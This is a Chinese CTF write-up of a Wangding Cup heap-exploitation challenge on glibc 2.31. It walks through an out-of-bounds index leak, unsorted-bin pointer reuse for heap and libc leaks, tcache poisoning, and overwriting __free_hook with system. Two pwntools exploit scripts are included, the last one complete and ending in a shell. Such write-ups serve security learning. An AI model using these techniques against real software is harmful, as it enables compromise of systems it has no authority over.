给了libc,用2.31-0ubuntu9_amd64做。
保护全开,很漂亮的增删改查
先看增,限制了chunk数量和chunk大小,没法用fastbin。chunk_index/chunk_length,以及ptr(chunk_list)都明明白白的写在bss段,点赞。
删,去除了指针,没有UAF,但是似乎是通过ptr偏移做到的,这儿似乎有点问题。
查,也是通过ptr偏移做到的,那么确定这里有问题。
gdb中调试一下,新增两个chunk
如果删除一个,再新增同样大小的,c0会消失,多一个c2,回收c0原来的地址。
但因为删查是通过ptr偏移做到的,显然,如果能向bss段上写一个完全控制的地址,可以做到任意地址删和任意地址查。
比如bss段上面有got表。
那么show(-18)会怎么样呢?
可惜,只会泄露libc上exit的汇编代码。
因为ptr上储存的是一个地址,而show会打印这个地址上的值,而我们期待的是这个地址上再储存一个地址,这样就有可能泄露libc/heap段。向上的got表显然不符合要求,那么向下有东西吗?通过vmmap发现,向下有heap段。
那么可以利用unsortedbin的fd/bk指向main_arena_N来泄露main_arena_N上的heap地址。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
#sh = process("./pwn")
sh = gdb.debug("./pwn","b show_chunk n c")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_system = libc.sym['system']
libc_free_hook = libc.sym['__free_hook']
libc_main_arena = libc_malloc_hook + 0x10
libc_main_arena_N = libc_malloc_hook + 0x70
print(hex(libc_main_arena_N))
#0x555555558060 ptr
def add(size, content="AAAAAAAA"):
sh.recvuntil("choice")
sh.sendline("1")
sh.recvuntil("Size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.send(content)
def free(index):
sh.recvuntil("choice")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(index))
def edit(addr):
sh.recvuntil("choice")
sh.sendline("3")
sh.recvuntil("content :")
sh.sendline(p64(addr))
def show(index):
sh.recvuntil("choice")
sh.sendline("4")
sh.recvuntil("Index :")
sh.sendline(str(index))
return sh.recvline()
add(0x4f8)
add(0xf8)
free(0)
show(1)
sh.interactive()
计算一下(0x55555555b2a0 – 0x555555558060)/8=1608
add(0x4f8)
add(0xf8)
free(0)
show(1608)
成功泄露
开启ALSR试一试
泄露了heap地址,反手再将unsortedbin的fd/bk地址写到一个chunk中。
add(0x4f8)#c0
add(0xf8)#c1
free(0)
show(1608)
heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")
#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")
print(hex(heap_N))
free(1)
add(0xf8,p64(heap_N-1520))#c2
show(1768)
可以看到成功泄露libc。
然而这种解法并不能打远程,本地做的时候,bss到heap段的相对位置是固定的,远程时却不一定固定。确切来说,是不一定和本地一样都是1608。而且如果show到一个错误地址,程序会崩溃退出,下次分配heap时,可能有所变化,因此也不能爆破。但这不妨碍这是一个很有意思的非预期解。
正解非常简单,泄露libc和heap只需要利用unsortedbin复用时不清除fd/bk指针就行了。
我们做出双向链表两个unsortedbin
add(0x4f8)
add(0x98)
add(0x4f8)
add(0x98)
free(0)
free(2)
再add回来,同时将它们的fd全部覆盖成A,就可以轻松泄露libc跟heap。
add(0x4f8)#c4
add(0x4f8)#c5
show(4)
heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")
#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")
print(hex(heap_N))
show(5)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(libc_base))
如何getshell呢,这就要讲一直没提过的改了,其实根本和chunk没关系,就是仅限一次,往任意地址写0xa2c2a。
因为它要写满一个地址,所以是0x000a2c2a,只需要偏移一下,就等于往任意地址写0x00。那么我们可以做几个tcache,然后将fd篡改成unsortedbin上的一块地址,在unsortedbin上做fake chunk,然后就是劫持free_hook那一套了。
做三个tcache(做两个不行)
add(0x98)
free(6)
free(1)
free(3)
然后需要劫持0x55555555bd30的fd。
edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700
这样再复用tcache就会用fake chunk 0x55555555b700了,而它正好在c4(0x55555555b290)的范围内,编辑c4(free再add回来),修改0x55555555b700的fd到free_hook(-8为了对齐)。
free(4)
add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))
add一次,让0x55555555b700的fd(free_hook)进入tcache队列,顺便做/bin/sh堆块。
add(0x98,"/bin/shx00")
再add一次,消耗掉最后一个tcache,下次就只能用free_hook了。
add(0x98)
最后add一次让free_hook成为堆块,劫持free_hook为system
add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base))
最后free前面写了/bin/sh的堆块即可getshell
free(8)
完整exp如下。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
sh = process("./pwn")
#sh = gdb.debug("./pwn","b show_chunk n c")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_system = libc.sym['system']
libc_free_hook = libc.sym['__free_hook']
libc_main_arena = libc_malloc_hook + 0x10
libc_main_arena_N = libc_malloc_hook + 0x70
print(hex(libc_main_arena_N))
#0x555555558060 ptr
def add(size, content="AAAAAAAA"):
sh.recvuntil("choice")
sh.sendline("1")
sh.recvuntil("Size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.send(content)
def free(index):
sh.recvuntil("choice")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(index))
def edit(addr):
sh.recvuntil("choice")
sh.sendline("3")
sh.recvuntil("content :")
sh.sendline(p64(addr))
def show(index):
sh.recvuntil("choice")
sh.sendline("4")
sh.recvuntil("Index :")
sh.sendline(str(index))
return sh.recvline()
add(0x4f8)#c0
add(0x98)#c1
add(0x4f8)#c2
add(0x98)#c3
free(0)
free(2)
add(0x4f8)#c4
add(0x4f8)#c5
show(4)
heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")
#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")
print(hex(heap_N))
show(5)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(libc_base))
add(0x98)#c6
free(6)
free(1)
free(3)
edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700
free(4)
add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))#c7 make fake chunk
add(0x98,"/bin/shx00") #c8
add(0x98) #c9
add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base)) #c10
free(8)
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(20) ——网鼎杯PWN01